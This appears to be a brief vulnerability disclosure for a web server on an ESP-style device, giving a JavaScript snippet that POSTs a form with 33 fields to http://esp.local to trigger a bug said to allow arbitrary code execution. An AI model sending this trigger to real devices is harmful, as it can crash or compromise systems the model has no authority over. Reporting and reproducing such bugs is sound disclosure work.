Successful exploitation could lead to arbitrary code execution.

The bug can be reproduced by running the following in a browser

const formData = new FormData();
for (let i = 0;i < 33;++i) { formData.append("foo", i.toString()); }
await fetch("http://esp.local", { method: 'POST', body: formData });
